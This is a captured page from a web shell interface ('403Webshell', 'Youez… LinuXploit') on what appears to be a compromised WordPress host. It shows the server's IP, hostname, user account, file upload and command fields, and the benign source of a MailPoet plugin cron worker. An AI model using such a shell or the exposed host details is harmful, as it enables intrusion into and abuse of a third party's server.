403Webshell
Server IP : 104.21.14.103  /  Your IP : 3.133.111.49
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/giankuin/thietke365.net/wp-content/plugins/mailpoet/lib/Cron/Workers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/giankuin/thietke365.net/wp-content/plugins/mailpoet/lib/Cron/Workers//SubscribersStatsReport.php
<?php declare(strict_types = 1);

namespace MailPoet\Cron\Workers;

if (!defined('ABSPATH')) exit;


use MailPoet\Config\ServicesChecker;
use MailPoet\Cron\CronWorkerScheduler;
use MailPoet\Entities\ScheduledTaskEntity;
use MailPoet\Services\SubscribersCountReporter;
use MailPoet\WP\Functions as WPFunctions;
use MailPoetVendor\Carbon\Carbon;

class SubscribersStatsReport extends SimpleWorker {
  const TASK_TYPE = 'subscribers_stats_report';

  /** @var SubscribersCountReporter */
  private $subscribersCountReporter;

  /** @var ServicesChecker */
  private $serviceChecker;

  /** @var CronWorkerScheduler */
  private $workerScheduler;

  public function __construct(
    SubscribersCountReporter $subscribersCountReporter,
    ServicesChecker $servicesChecker,
    CronWorkerScheduler $workerScheduler,
    WPFunctions $wp
  ) {
    parent::__construct($wp);
    $this->subscribersCountReporter = $subscribersCountReporter;
    $this->serviceChecker = $servicesChecker;
    $this->workerScheduler = $workerScheduler;
  }

  public function checkProcessingRequirements() {
    return (bool)$this->serviceChecker->getValidAccountKey();
  }

  public function processTaskStrategy(ScheduledTaskEntity $task, $timer): bool {
    $key = $this->serviceChecker->getValidAccountKey();
    if ($key === null) {
      return false;
    }
    $result = $this->subscribersCountReporter->report($key);
    // We have a valid key, but request failed
    if ($result === false) {
      $this->workerScheduler->rescheduleProgressively($task);
    }
    return $result;
  }

  public function getNextRunDate() {
    $date = Carbon::createFromTimestamp($this->wp->currentTime('timestamp'));
    // Spread the check within 6 hours after midnight so that all plugins don't ping the service at the same time
    return $date->startOfDay()
      ->addDay()
      ->addHours(rand(0, 5))
      ->addMinutes(rand(0, 59))
      ->addSeconds(rand(0, 59));
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit